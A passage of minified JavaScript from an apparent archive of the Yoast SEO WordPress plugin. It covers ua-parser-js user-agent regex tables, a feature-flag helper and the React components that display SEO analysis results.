Mini"],p],[/\s(opr)\/([\w\.]+)/i],[[c,"Opera"],p],[/(kindle)\/([\w\.]+)/i,/(lunascape|maxthon|netfront|jasmine|blazer|instagram)[\/\s]?([\w\.]*)/i,/(avant\s|iemobile|slim)(?:browser)?[\/\s]?([\w\.]*)/i,/(bidubrowser|baidubrowser)[\/\s]?([\w\.]+)/i,/(?:ms|\()(ie)\s([\w\.]+)/i,/(rekonq)\/([\w\.]*)/i,/(chromium|flock|rockmelt|midori|epiphany|silk|skyfire|ovibrowser|bolt|iron|vivaldi|iridium|phantomjs|bowser|quark|qupzilla|falkon)\/([\w\.-]+)/i,/(puffin|brave|whale|qqbrowserlite|qq)\/([\w\.]+)/i],[c,p],[/(konqueror)\/([\w\.]+)/i],[[c,"Konqueror"],p],[/(trident).+rv[:\s]([\w\.]{1,9}).+like\sgecko/i],[[c,"IE"],p],[/(edge|edgios|edga|edg)\/((\d+)?[\w\.]+)/i],[[c,"Edge"],p],[/(yabrowser)\/([\w\.]+)/i],[[c,"Yandex"],p],[/(Avast)\/([\w\.]+)/i],[[c,"Avast Secure Browser"],p],[/(AVG)\/([\w\.]+)/i],[[c,"AVG Secure Browser"],p],[/(focus)\/([\w\.]+)/i],[[c,"Firefox Focus"],p],[/(opt)\/([\w\.]+)/i],[[c,"Opera Touch"],p],[/((?:[\s\/])uc?\s?browser|(?:juc.+)ucweb)[\/\s]?([\w\.]+)/i],[[c,"UCBrowser"],p],[/(comodo_dragon)\/([\w\.]+)/i],[[c,/_/g," "],p],[/((?:windowswechat)? qbcore)\/([\w\.]+).*(?:windowswechat)?/i],[[c,"WeChat(Win) Desktop"],p],[/(micromessenger)\/([\w\.]+)/i],[[c,"WeChat"],p],[/m?(qqbrowser|baiduboxapp|2345Explorer)[\/\s]?([\w\.]+)/i],[c,p],[/(MetaSr)[\/\s]?([\w\.]+)/i],[c],[/(LBBROWSER)/i],[c],[/(weibo)__([\d\.]+)/i],[c,p],[/xiaomi\/miuibrowser\/([\w\.]+)/i],[p,[c,"MIUI Browser"]],[/;fbav\/([\w\.]+);/i],[p,[c,"Facebook"]],[/FBAN\/FBIOS|FB_IAB\/FB4A/i],[[c,"Facebook"]],[/safari\s(line)\/([\w\.]+)/i,/droid.+(line)\/([\w\.]+)\/iab/i],[c,p],[/headlesschrome(?:\/([\w\.]+)|\s)/i],[p,[c,"Chrome Headless"]],[/\swv\).+(chrome)\/([\w\.]+)/i],[[c,/(.+)/,"$1 WebView"],p],[/((?:oculus|samsung)browser)\/([\w\.]+)/i],[[c,/(.+(?:g|us))(.+)/,"$1 $2"],p],[/droid.+version\/([\w\.]+)\s+(?:mobile\s?safari|safari)*/i],[p,[c,"Android Browser"]],[/(coc_coc_browser)\/([\w\.]+)/i],[[c,"Coc Coc"],p],[/(sailfishbrowser)\/([\w\.]+)/i],[[c,"Sailfish Browser"],p],[/(chrome|omniweb|arora|[tizenoka]{5}\s?browser)\/v?([\w\.]+)/i],[c,p],[/(dolfin)\/([\w\.]+)/i],[[c,"Dolphin"],p],[/(qihu|qhbrowser|qihoobrowser|360browser)/i],[[c,"360 Browser"]],[/((?:android.+)crmo|crios)\/([\w\.]+)/i],[[c,"Chrome"],p],[/(coast)\/([\w\.]+)/i],[[c,"Opera Coast"],p],[/fxios\/([\w\.-]+)/i],[p,[c,"Firefox"]],[/version\/([\w\.]+)\s.*mobile\/\w+\s(safari)/i],[p,[c,"Mobile Safari"]],[/version\/([\w\.]+)\s.*(mobile\s?safari|safari)/i],[p,c],[/webkit.+?(gsa)\/([\w\.]+)\s.*(mobile\s?safari|safari)(\/[\w\.]+)/i],[[c,"GSA"],p],[/webkit.+?(mobile\s?safari|safari)(\/[\w\.]+)/i],[c,[p,b.str,S.browser.oldsafari.version]],[/(webkit|khtml)\/([\w\.]+)/i],[c,p],[/(navigator|netscape)\/([\w\.-]+)/i],[[c,"Netscape"],p],[/(swiftfox)/i,/(icedragon|iceweasel|camino|chimera|fennec|maemo\sbrowser|minimo|conkeror)[\/\s]?([\w\.\+]+)/i,/(firefox|seamonkey|k-meleon|icecat|iceape|firebird|phoenix|palemoon|basilisk|waterfox)\/([\w\.-]+)$/i,/(firefox)\/([\w\.]+)\s[\w\s\-]+\/[\w\.]+$/i,/(mozilla)\/([\w\.]+)\s.+rv\:.+gecko\/\d+/i,/(polaris|lynx|dillo|icab|doris|amaya|w3m|netsurf|sleipnir)[\/\s]?([\w\.]+)/i,/(links)\s\(([\w\.]+)/i,/(gobrowser)\/?([\w\.]*)/i,/(ice\s?browser)\/v?([\w\._]+)/i,/(mosaic)[\/\s]([\w\.]+)/i],[c,p]],cpu:[[/(?:(amd|x(?:(?:86|64)[_-])?|wow|win)64)[;\)]/i],[[h,"amd64"]],[/(ia32(?=;))/i],[[h,_.lowerize]],[/((?:i[346]|x)86)[;\)]/i],[[h,"ia32"]],[/windows\s(ce|mobile);\sppc;/i],[[h,"arm"]],[/((?:ppc|powerpc)(?:64)?)(?:\smac|;|\))/i],[[h,/ower/,"",_.lowerize]],[/(sun4\w)[;\)]/i],[[h,"sparc"]],[/((?:avr32|ia64(?=;))|68k(?=\))|arm(?:64|(?=v\d+[;l]))|(?=atmel\s)avr|(?:irix|mips|sparc)(?:64)?(?=;)|pa-risc)/i],[[h,_.lowerize]]],device:[[/\((ipad|playbook);[\w\s\),;-]+(rim|apple)/i],[u,f,[l,y]],[/applecoremedia\/[\w\.]+ \((ipad)/],[u,[f,"Apple"],[l,y]],[/(apple\s{0,1}tv)/i],[[u,"Apple TV"],[f,"Apple"],[l,v]],[/(archos)\s(gamepad2?)/i,/(hp).+(touchpad)/i,/(hp).+(tablet)/i,/(kindle)\/([\w\.]+)/i,/\s(nook)[\w\s]+build\/(\w+)/i,/(dell)\s(strea[kpr\s\d]*[\dko])/i],[f,u,[l,y]],[/(alexa)webm/i,/(kf[A-z]+)(\sbuild\/|\)).+silk\//i],[u,[f,"Amazon"],[l,y]],[/(sd|kf)[0349hijorstuw]+(\sbuild\/|\)).+silk\//i],[[u,b.str,S.device.amazon.model],[f,"Amazon"],[l,g]],[/droid.+aft([\w])(\sbuild\/|\))/i],[u,[f,"Amazon"],[l,v]],[/\((ip(?:hone|od)[\s\w]*);/i],[u,[f,"Apple"],[l,g]],[/(blackberry)[\s-]?(\w+)/i,/(blackberry|benq|palm(?=\-)|sonyericsson|acer|asus|dell|meizu|motorola|polytron)[\s_-]?([\w-]*)/i,/(hp)\s([\w\s]+\w)/i,/(asus)-?(\w+)/i],[f,u,[l,g]],[/\(bb10;\s(\w+)/i],[u,[f,"BlackBerry"],[l,g]],[/droid.+(transfo[prime\s]{4,10}\s\w+|eeepc|slider\s\w+|nexus 7|padfone|p00c)/i],[u,[f,"Asus"],[l,y]],[/sony\stablet\s[ps]\sbuild\//i,/(?:sony)?sgp\w+(?:\sbuild\/|\))/i],[[u,"Xperia Tablet"],[f,"Sony"],[l,y]],[/droid.+\s([c-g]\d{4}|so[-l]\w+|xq-a\w[4-7][12])(?=\sbuild\/|\).+chrome\/(?![1-6]{0,1}\d\.))/i],[u,[f,"Sony"],[l,g]],[/\s(ouya)\s/i,/(nintendo)\s([wids3utch]+)/i],[f,u,[l,d]],[/droid.+;\s(shield)\sbuild/i],[u,[f,"Nvidia"],[l,d]],[/(playstation\s[345portablevi]+)/i],[u,[f,"Sony"],[l,d]],[/(sprint\s(\w+))/i],[[f,b.str,S.device.sprint.vendor],[u,b.str,S.device.sprint.model],[l,g]],[/(htc)[;_\s-]{1,2}([\w\s]+(?=\)|\sbuild)|\w+)/i,/(zte)-(\w*)/i,/(alcatel|geeksphone|nexian|panasonic|(?=;\s)sony)[_\s-]?([\w-]*)/i],[f,[u,/_/g," "],[l,g]],[/(nexus\s9)/i],[u,[f,"HTC"],[l,y]],[/d\/huawei([\w\s-]+)[;\)]/i,/droid.+\s(nexus\s6p|vog-[at]?l\d\d|ane-[at]?l[x\d]\d|eml-a?l\d\da?|lya-[at]?l\d[\dc]|clt-a?l\d\di?)/i,/droid.+\s((?:A(?:GS2?|KA|LP|N[AE]|QM|RE|SK|TH)|B(?:A(?:C|H2)|G2|KL|LA|MH|Z[AKT])|C(?:AZ|DY|LT|OL|[MOR]R)|DUK|E(?:BG|DI|L[ES]|ML|V[AR])|FRD|G(?:LK|RA)|H(?:D[LN]|MA|LK|RY|WI)|INE|J(?:DN2|MM|NY|SN)|K(?:NT|OB|SA)|L(?:IO|LD|ON|[RY]A)|M(?:AR|ED|[HL]A|ON|RX|T7)|N(?:EO|TS|XT)|OXF|P(?:AR|CT|IC|LK|RA)|R(?:IO|VL)|S(?:C[ML]|EA|HT|PN|TF)|T(?:A[HS]|NY)|V(?:[CI]E|KY|OG|RD)|W(?:AS|LZ)|Y(?:635|AL))-[ATU][LN][01259][019])[;\)\s]/i],[u,[f,"Huawei"],[l,g]],[/droid.+(bah2?-a?[lw]\d{2})/i],[u,[f,"Huawei"],[l,y]],[/(microsoft);\s(lumia[\s\w]+)/i],[f,u,[l,g]],[/[\s\(;](xbox(?:\sone)?)[\s\);]/i],[u,[f,"Microsoft"],[l,d]],[/(kin\.[onetw]{3})/i],[[u,/\./g," "],[f,"Microsoft"],[l,g]],[/\s(milestone|droid(?:[2-4x]|\s(?:bionic|x2|pro|razr))?:?(\s4g)?)[\w\s]+build\//i,/\smot[\s-](\w*)/i,/(moto[\s\w\(\)]+(?=\sbuild|\)))/i,/(XT\d{3,4}) build\//i,/(nexus\s6)/i],[u,[f,"Motorola"],[l,g]],[/droid.+\s(mz60\d|xoom[\s2]{0,2})\sbuild\//i],[u,[f,"Motorola"],[l,y]],[/hbbtv\/\d+\.\d+\.\d+\s+\([\w\s]*;\s*(\w[^;]*);([^;]*)/i],[[f,_.trim],[u,_.trim],[l,v]],[/hbbtv.+maple;(\d+)/i],[[u,/^/,"SmartTV"],[f,"Samsung"],[l,v]],[/\(dtv[\);].+(aquos)/i],[u,[f,"Sharp"],[l,v]],[/droid.+((sch-i[89]0\d|shw-m380s|SM-P605|SM-P610|SM-P587|gt-p\d{4}|gt-n\d+|sgh-t8[56]9|nexus 10))/i,/((SM-T\w+))/i],[[f,"Samsung"],u,[l,y]],[/smart-tv.+(samsung)/i],[f,[l,v],u],[/((s[cgp]h-\w+|gt-\w+|galaxy\snexus|sm-\w[\w\d]+))/i,/\s(sam)(?:sung)[\s-]([\w-]+)/i,/sec-((sgh\w+))/i],[[f,"Samsung"],u,[l,g]],[/sie-(\w*)/i],[u,[f,"Siemens"],[l,g]],[/(maemo|nokia).*(n900|lumia\s\d+)/i,/(nokia)[\s_-]?([\w\.-]*)/i],[[f,"Nokia"],u,[l,g]],[/droid[x\d\.\s;]+\s([ab][1-7]\-?[0178a]\d\d?)/i],[u,[f,"Acer"],[l,y]],[/droid.+([vl]k\-?\d{3})\s+build/i],[u,[f,"LG"],[l,y]],[/droid\s3\.[\s\w;-]{10}(lg?)-([06cv9]{3,4})/i],[[f,"LG"],u,[l,y]],[/linux;\snetcast.+smarttv/i,/lg\snetcast\.tv-201\d/i],[[f,"LG"],u,[l,v]],[/(nexus\s[45])/i,/lg[e;\s\/-]+(\w*)/i,/droid.+lg(\-?[\d\w]+)\s+build/i],[u,[f,"LG"],[l,g]],[/(lenovo)\s?(s(?:5000|6000)(?:[\w-]+)|tab(?:[\s\w]+)|[\w-]+)/i],[f,u,[l,y]],[/droid.+(ideatab[a-z0-9\-\s]+)/i],[u,[f,"Lenovo"],[l,y]],[/(lenovo)[_\s-]?([\w-]+)/i],[f,u,[l,g]],[/linux;.+((jolla));/i],[f,u,[l,g]],[/((pebble))app\/[\d\.]+\s/i],[f,u,[l,m]],[/droid.+;\s(oppo)\s?([\w\s]+)\sbuild/i],[f,u,[l,g]],[/crkey/i],[[u,"Chromecast"],[f,"Google"],[l,v]],[/droid.+;\s(glass)\s\d/i],[u,[f,"Google"],[l,m]],[/droid.+;\s(pixel c)[\s)]/i],[u,[f,"Google"],[l,y]],[/droid.+;\s(pixel( [2-9]a?)?( xl)?)[\s)]/i],[u,[f,"Google"],[l,g]],[/droid.+;\s(\w+)\s+build\/hm\1/i,/droid.+(hm[\s\-_]?note?[\s_]?(?:\d\w)?)\sbuild/i,/droid.+(redmi[\s\-_]?(?:note|k)?(?:[\s_]?[\w\s]+))(?:\sbuild|\))/i,/droid.+(mi[\s\-_]?(?:a\d|one|one[\s_]plus|note lte)?[\s_]?(?:\d?\w?)[\s_]?(?:plus)?)\sbuild/i],[[u,/_/g," "],[f,"Xiaomi"],[l,g]],[/droid.+(mi[\s\-_]?(?:pad)(?:[\s_]?[\w\s]+))(?:\sbuild|\))/i],[[u,/_/g," "],[f,"Xiaomi"],[l,y]],[/droid.+;\s(m[1-5]\snote)\sbuild/i],[u,[f,"Meizu"],[l,g]],[/(mz)-([\w-]{2,})/i],[[f,"Meizu"],u,[l,g]],[/droid.+a000(1)\s+build/i,/droid.+oneplus\s(a\d{4})[\s)]/i],[u,[f,"OnePlus"],[l,g]],[/droid.+[;\/]\s*(RCT[\d\w]+)\s+build/i],[u,[f,"RCA"],[l,y]],[/droid.+[;\/\s](Venue[\d\s]{2,7})\s+build/i],[u,[f,"Dell"],[l,y]],[/droid.+[;\/]\s*(Q[T|M][\d\w]+)\s+build/i],[u,[f,"Verizon"],[l,y]],[/droid.+[;\/]\s+(Barnes[&\s]+Noble\s+|BN[RT])(\S(?:.*\S)?)\s+build/i],[[f,"Barnes & Noble"],u,[l,y]],[/droid.+[;\/]\s+(TM\d{3}.*\b)\s+build/i],[u,[f,"NuVision"],[l,y]],[/droid.+;\s(k88)\sbuild/i],[u,[f,"ZTE"],[l,y]],[/droid.+;\s(nx\d{3}j)\sbuild/i],[u,[f,"ZTE"],[l,g]],[/droid.+[;\/]\s*(gen\d{3})\s+build.*49h/i],[u,[f,"Swiss"],[l,g]],[/droid.+[;\/]\s*(zur\d{3})\s+build/i],[u,[f,"Swiss"],[l,y]],[/droid.+[;\/]\s*((Zeki)?TB.*\b)\s+build/i],[u,[f,"Zeki"],[l,y]],[/(android).+[;\/]\s+([YR]\d{2})\s+build/i,/droid.+[;\/]\s+(Dragon[\-\s]+Touch\s+|DT)(\w{5})\sbuild/i],[[f,"Dragon Touch"],u,[l,y]],[/droid.+[;\/]\s*(NS-?\w{0,9})\sbuild/i],[u,[f,"Insignia"],[l,y]],[/droid.+[;\/]\s*((NXA|Next)-?\w{0,9})\s+build/i],[u,[f,"NextBook"],[l,y]],[/droid.+[;\/]\s*(Xtreme\_)?(V(1[045]|2[015]|30|40|60|7[05]|90))\s+build/i],[[f,"Voice"],u,[l,g]],[/droid.+[;\/]\s*(LVTEL\-)?(V1[12])\s+build/i],[[f,"LvTel"],u,[l,g]],[/droid.+;\s(PH-1)\s/i],[u,[f,"Essential"],[l,g]],[/droid.+[;\/]\s*(V(100MD|700NA|7011|917G).*\b)\s+build/i],[u,[f,"Envizen"],[l,y]],[/droid.+[;\/]\s*(Le[\s\-]+Pan)[\s\-]+(\w{1,9})\s+build/i],[f,u,[l,y]],[/droid.+[;\/]\s*(Trio[\s\w\-\.]+)\s+build/i],[u,[f,"MachSpeed"],[l,y]],[/droid.+[;\/]\s*(Trinity)[\-\s]*(T\d{3})\s+build/i],[f,u,[l,y]],[/droid.+[;\/]\s*TU_(1491)\s+build/i],[u,[f,"Rotor"],[l,y]],[/droid.+(Gigaset)[\s\-]+(Q\w{1,9})\s+build/i],[f,u,[l,y]],[/[\s\/\(](android\stv|smart-?tv)[;\)\s]/i],[[l,v]],[/droid .+?; ([^;]+?)(?: build|\) applewebkit).+? mobile safari/i],[u,[l,g]],[/droid .+?;\s([^;]+?)(?: build|\) applewebkit).+?(?! mobile) safari/i],[u,[l,y]],[/\s(tablet|tab)[;\/]/i,/\s(mobile)(?:[;\/]|\ssafari)/i],[[l,_.lowerize],f,u],[/(android[\w\.\s\-]{0,9});.+build/i],[u,[f,"Generic"]],[/(phone)/i],[[l,g]]],engine:[[/windows.+\sedge\/([\w\.]+)/i],[p,[c,"EdgeHTML"]],[/webkit\/537\.36.+chrome\/(?!27)([\w\.]+)/i],[p,[c,"Blink"]],[/(presto)\/([\w\.]+)/i,/(webkit|trident|netfront|netsurf|amaya|lynx|w3m|goanna)\/([\w\.]+)/i,/(khtml|tasman|links)[\/\s]\(?([\w\.]+)/i,/(icab)[\/\s]([23]\.[\d\.]+)/i],[c,p],[/rv\:([\w\.]{1,9}).+(gecko)/i],[p,c]],os:[[/(xbox);\s+xbox\s([^\);]+)/i,/microsoft\s(windows)\s(vista|xp)/i],[c,p],[/(windows)\snt\s6\.2;\s(arm)/i,/(windows\sphone(?:\sos)*)[\s\/]?([\d\.\s\w]*)/i,/(windows\smobile|windows)[\s\/]?([ntce\d\.\s]+\w)/i],[c,[p,b.str,S.os.windows.version]],[/(win(?=3|9|n)|win\s9x\s)([nt\d\.]+)/i],[[c,"Windows"],[p,b.str,S.os.windows.version]],[/\((bb)(10);/i],[[c,"BlackBerry"],p],[/(blackberry)\w*\/?([\w\.]*)/i,/(tizen|kaios)[\/\s]([\w\.]+)/i,/(android|webos|palm\sos|qnx|bada|rim\stablet\sos|meego|sailfish|contiki)[\/\s-]?([\w\.]*)/i],[c,p],[/(symbian\s?os|symbos|s60(?=;))[\/\s-]?([\w\.]*)/i],[[c,"Symbian"],p],[/\((series40);/i],[c],[/mozilla.+\(mobile;.+gecko.+firefox/i],[[c,"Firefox OS"],p],[/crkey\/([\d\.]+)/i],[p,[c,"Chromecast"]],[/(nintendo|playstation)\s([wids345portablevuch]+)/i,/(mint)[\/\s\(]?(\w*)/i,/(mageia|vectorlinux)[;\s]/i,/(joli|[kxln]?ubuntu|debian|suse|opensuse|gentoo|(?=\s)arch|slackware|fedora|mandriva|centos|pclinuxos|redhat|zenwalk|linpus)[\/\s-]?(?!chrom)([\w\.-]*)/i,/(hurd|linux)\s?([\w\.]*)/i,/(gnu)\s?([\w\.]*)/i],[c,p],[/(cros)\s[\w]+\s([\w\.]+\w)/i],[[c,"Chromium OS"],p],[/(sunos)\s?([\w\.\d]*)/i],[[c,"Solaris"],p],[/\s([frentopc-]{0,4}bsd|dragonfly)\s?([\w\.]*)/i],[c,p],[/(haiku)\s(\w+)/i],[c,p],[/cfnetwork\/.+darwin/i,/ip[honead]{2,4}(?:.*os\s([\w]+)\slike\smac|;\sopera)/i],[[p,/_/g,"."],[c,"iOS"]],[/(mac\sos\sx)\s?([\w\s\.]*)/i,/(macintosh|mac(?=_powerpc)\s)/i],[[c,"Mac OS"],[p,/_/g,"."]],[/((?:open)?solaris)[\/\s-]?([\w\.]*)/i,/(aix)\s((\d)(?=\.|\)|\s)[\w\.])*/i,/(plan\s9|minix|beos|os\/2|amigaos|morphos|risc\sos|openvms|fuchsia)/i,/(unix)\s?([\w\.]*)/i],[c,p]]},x=function(t,e){if("object"==typeof t&&(e=t,t=o),!(this instanceof x))return new x(t,e).getResult();var r=t||(void 0!==i&&i.navigator&&i.navigator.userAgent?i.navigator.userAgent:""),n=e?_.extend(w,e):w;return this.getBrowser=function(){var t={name:o,version:o};return b.rgx.call(t,r,n.browser),t.major=_.major(t.version),t},this.getCPU=function(){var t={architecture:o};return b.rgx.call(t,r,n.cpu),t},this.getDevice=function(){var t={vendor:o,model:o,type:o};return b.rgx.call(t,r,n.device),t},this.getEngine=function(){var t={name:o,version:o};return b.rgx.call(t,r,n.engine),t},this.getOS=function(){var t={name:o,version:o};return b.rgx.call(t,r,n.os),t},this.getResult=function(){return{ua:this.getUA(),browser:this.getBrowser(),engine:this.getEngine(),os:this.getOS(),device:this.getDevice(),cpu:this.getCPU()}},this.getUA=function(){return r},this.setUA=function(t){return r=t,this},this};x.VERSION="0.7.25",x.BROWSER={NAME:c,MAJOR:"major",VERSION:p},x.CPU={ARCHITECTURE:h},x.DEVICE={MODEL:u,VENDOR:f,TYPE:l,CONSOLE:d,MOBILE:g,SMARTTV:v,TABLET:y,WEARABLE:m,EMBEDDED:"embedded"},x.ENGINE={NAME:c,VERSION:p},x.OS={NAME:c,VERSION:p},void 0!==e?(t.exports&&(e=t.exports=x),e.UAParser=x):(n=function(){return x}.call(e,r,e,t))===o||(t.exports=n);var k=void 0!==i&&(i.jQuery||i.Zepto);if(k&&!k.ua){var C=new x;k.ua=C.getResult(),k.ua.get=function(){return C.getUA()},k.ua.set=function(t){C.setUA(t);var e=C.getResult();for(var r in e)k.ua[r]=e[r]}}}("object"==typeof window?window:this)},99196:t=>{"use strict";t.exports=window.React},91850:t=>{"use strict";t.exports=window.ReactDOM}},e={};function r(n){var i=e[n];if(void 0!==i)return i.exports;var o=e[n]={exports:{}};return t[n].call(o.exports,o,o.exports,r),o.exports}r.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(t){if("object"==typeof window)return window}}();var n=r(9041);(window.yoast=window.yoast||{}).draftJs=n})();wordpress-seo/js/dist/externals/featureFlag.js000064400000001014147510273070015531 0ustar00(()=>{"use strict";var e,s={};e=s,Object.defineProperty(e,"__esModule",{value:!0}),e.isFeatureEnabled=e.enabledFeatures=e.enableFeatures=void 0,e.isFeatureEnabled=function(e){return!!self.wpseoFeatureFlags&&self.wpseoFeatureFlags.includes(e)},e.enableFeatures=function(e){self.wpseoFeatureFlags||(self.wpseoFeatureFlags=[]),e.forEach((e=>{self.wpseoFeatureFlags.includes(e)||self.wpseoFeatureFlags.push(e)}))},e.enabledFeatures=function(){return self.wpseoFeatureFlags||[]},(window.yoast=window.yoast||{}).featureFlag=s})();wordpress-seo/js/dist/externals/analysisReport.js000064400000023764147510273070016343 0ustar00(()=>{"use strict";var e={n:t=>{var s=t&&t.__esModule?()=>t.default:()=>t;return e.d(s,{a:s}),s},d:(t,s)=>{for(var r in s)e.o(s,r)&&!e.o(t,r)&&Object.defineProperty(t,r,{enumerable:!0,get:s[r]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};e.r(t),e.d(t,{AnalysisList:()=>I,AnalysisResult:()=>R,ContentAnalysis:()=>A,SiteSEOReport:()=>F,renderRatingToColor:()=>w});const s=window.React;var r=e.n(s);const o=window.wp.i18n,n=window.yoast.styledComponents;var i=e.n(n);const a=window.yoast.propTypes;var l=e.n(a);const u=window.lodash.noop;var d=e.n(u);const g=window.yoast.styleGuide,m=window.lodash,p=window.yoast.componentsNew,c=window.yoast.helpers,{stripTagsFromHtmlString:h}=c.strings,B=["a","b","strong","em","i"],k=i().div`
	display: grid;
	grid-template-rows: 1fr;
	max-width: 32px;
	// This gap value is half the gap value between assessment result list items, which is 12px.
	gap: 6px;
`,b=i().li`
	// This is the height of the IconButtonToggle.
	min-height: 24px;
	margin-bottom: 12px;
	padding: 0;
	display: flex;
	align-items: flex-start;
	position: relative;
	gap: 12px;
`,C=i()(p.SvgIcon)`
	margin: 3px 0 0 0;
`,x=i().p`
	margin: 0;
	flex: 1 1 auto;
	color: ${e=>e.suppressedText?"rgba(30,30,30,0.5)":"inherit"};
`,y=({ariaLabel:e,id:t,className:r,status:o,onClick:n,isPressed:i})=>(0,s.createElement)(p.IconButtonToggle,{marksButtonStatus:o,className:r,onClick:n,id:t,icon:"eye",pressed:i,ariaLabel:e}),f=({markButtonFactory:e,...t})=>{const[r,o]=(0,s.useState)(!1),n=(0,s.useCallback)((()=>o(!1)),[]),i=(0,s.useCallback)((()=>o(!0)),[]);e=e||y;const{id:a,marker:l,hasMarksButton:u}=t;let d=null;return function(e){return!e.hasMarksButton||"hidden"===e.marksButtonStatus}(t)||(d=e({onClick:t.shouldUpsellHighlighting?i:t.onButtonClickMarks,status:t.marksButtonStatus,className:t.marksButtonClassName,id:t.buttonIdMarks,isPressed:t.pressed,ariaLabel:t.ariaLabelMarks})),(0,s.useEffect)((()=>{t.onResultChange(a,l,u)}),[a,l,u]),(0,s.createElement)(b,null,(0,s.createElement)(C,{icon:"circle",color:t.bulletColor,size:"13px"}),(0,s.createElement)(x,{suppressedText:t.suppressedText},t.hasBetaBadgeLabel&&(0,s.createElement)(p.BetaBadge,null),(0,s.createElement)("span",{dangerouslySetInnerHTML:{__html:h(t.text,B)}})),(0,s.createElement)(k,null,d,t.renderHighlightingUpsell(r,n),t.hasEditButton&&t.isPremium&&(0,s.createElement)(p.IconCTAEditButton,{className:t.editButtonClassName,onClick:t.onButtonClickEdit,id:t.buttonIdEdit,icon:"edit",ariaLabel:t.ariaLabelEdit}),t.renderAIFixesButton(t.hasAIFixes,t.id)))};f.propTypes={text:l().string.isRequired,suppressedText:l().bool,bulletColor:l().string.isRequired,hasMarksButton:l().bool.isRequired,hasEditButton:l().bool,hasAIButton:l().bool,hasAIFixes:l().bool,buttonIdMarks:l().string.isRequired,buttonIdEdit:l().string,pressed:l().bool.isRequired,ariaLabelMarks:l().string.isRequired,ariaLabelEdit:l().string,onButtonClickMarks:l().func.isRequired,onButtonClickEdit:l().func,marksButtonStatus:l().string,marksButtonClassName:l().string,markButtonFactory:l().func,editButtonClassName:l().string,hasBetaBadgeLabel:l().bool,isPremium:l().bool,onResultChange:l().func,id:l().string,marker:l().oneOfType([l().func,l().array]),shouldUpsellHighlighting:l().bool,renderHighlightingUpsell:l().func,renderAIFixesButton:l().func},f.defaultProps={suppressedText:!1,marksButtonStatus:"enabled",marksButtonClassName:"",editButtonClassName:"",hasBetaBadgeLabel:!1,hasEditButton:!1,hasAIFixes:!1,buttonIdEdit:"",ariaLabelEdit:"",onButtonClickEdit:m.noop,isPremium:!1,onResultChange:m.noop,id:"",marker:m.noop,shouldUpsellHighlighting:!1,renderHighlightingUpsell:m.noop,renderAIFixesButton:m.noop};const R=f,E=i().ul`
	margin: 8px 0;
	padding: 0;
	list-style: none;
`;function w(e){switch(e){case"good":return g.colors.$color_good;case"OK":return g.colors.$color_ok;case"bad":return g.colors.$color_bad;default:return g.colors.$color_score_icon}}function I(e){return(0,s.createElement)(E,{role:"list"},e.results.map((t=>{const r=w(t.rating),n=t.markerId===e.marksButtonActivatedResult,i=t.id+"Mark",a=t.id+"Edit";let l="";l="disabled"===e.marksButtonStatus?(0,o.__)("Highlighting is currently disabled","wordpress-seo"):n?(0,o.__)("Remove highlight from the text","wordpress-seo"):(0,o.__)("Highlight this result in the text","wordpress-seo");const u=t.editFieldName,d=""===u?"":(0,o.sprintf)(
/* Translators: %1$s refers to the name of the field that should be edited (keyphrase, meta description,
       slug or SEO title). */
(0,o.__)("Edit your %1$s","wordpress-seo"),u);return(0,s.createElement)(R,{key:t.id,id:t.id,text:t.text,marker:t.marker,bulletColor:r,hasMarksButton:t.hasMarks,hasEditButton:t.hasJumps,hasAIFixes:t.hasAIFixes,ariaLabelMarks:l,ariaLabelEdit:d,pressed:n,suppressedText:"upsell"===t.rating,buttonIdMarks:i,buttonIdEdit:a,onButtonClickMarks:()=>e.onMarksButtonClick(t.id,t.marker),onButtonClickEdit:()=>e.onEditButtonClick(t.id),marksButtonClassName:e.marksButtonClassName,editButtonClassName:e.editButtonClassName,marksButtonStatus:e.marksButtonStatus,hasBetaBadgeLabel:t.hasBetaBadge,isPremium:e.isPremium,onResultChange:e.onResultChange,markButtonFactory:e.markButtonFactory,shouldUpsellHighlighting:e.shouldUpsellHighlighting,renderAIFixesButton:e.renderAIFixesButton,renderHighlightingUpsell:e.renderHighlightingUpsell})})))}I.propTypes={results:l().array.isRequired,marksButtonActivatedResult:l().string,marksButtonStatus:l().string,marksButtonClassName:l().string,editButtonClassName:l().string,markButtonFactory:l().func,onMarksButtonClick:l().func,onEditButtonClick:l().func,isPremium:l().bool,onResultChange:l().func,shouldUpsellHighlighting:l().bool,renderHighlightingUpsell:l().func,renderAIFixesButton:l().func},I.defaultProps={marksButtonActivatedResult:"",marksButtonStatus:"enabled",marksButtonClassName:"",editButtonClassName:"",onMarksButtonClick:d(),onEditButtonClick:d(),isPremium:!1,onResultChange:d(),shouldUpsellHighlighting:!1,renderHighlightingUpsell:d(),renderAIFixesButton:d()};const v=i().div`
	width: 100%;
	background-color: white;
	border-bottom: 1px solid transparent; // Avoid parent and child margin collapsing.
`,N=i()(p.Collapsible)`
	margin-bottom: 8px;

	${p.StyledIconsButton} {
		padding: 8px 0;
		color: ${g.colors.$color_blue};
		margin: -2px 8px 0 -2px; // Compensate icon size set to 18px.
	}
`;class _ extends r().Component{renderCollapsible(e,t,r){return(0,s.createElement)(N,{initialIsOpen:!0,title:`${e} (${r.length})`,prefixIcon:{icon:"angle-up",color:g.colors.$color_grey_dark,size:"18px"},prefixIconCollapsed:{icon:"angle-down",color:g.colors.$color_grey_dark,size:"18px"},suffixIcon:null,suffixIconCollapsed:null,headingProps:{level:t,fontSize:"13px",fontWeight:"500",color:"#1e1e1e"}},(0,s.createElement)(I,{results:r,marksButtonActivatedResult:this.props.activeMarker,marksButtonStatus:this.props.marksButtonStatus,marksButtonClassName:this.props.marksButtonClassName,editButtonClassName:this.props.editButtonClassName,markButtonFactory:this.props.markButtonFactory,onMarksButtonClick:this.props.onMarkButtonClick,onEditButtonClick:this.props.onEditButtonClick,renderAIFixesButton:this.props.renderAIFixesButton,isPremium:this.props.isPremium,onResultChange:this.props.onResultChange,shouldUpsellHighlighting:this.props.shouldUpsellHighlighting,renderHighlightingUpsell:this.props.renderHighlightingUpsell}))}render(){const{problemsResults:e,improvementsResults:t,goodResults:r,considerationsResults:n,errorsResults:i,upsellResults:a,headingLevel:l,resultCategoryLabels:u}=this.props,d=i.length,g=e.length,m=t.length,p=n.length,c=r.length,h=a.length,B={errors:(0,o.__)("Errors","wordpress-seo"),problems:(0,o.__)("Problems","wordpress-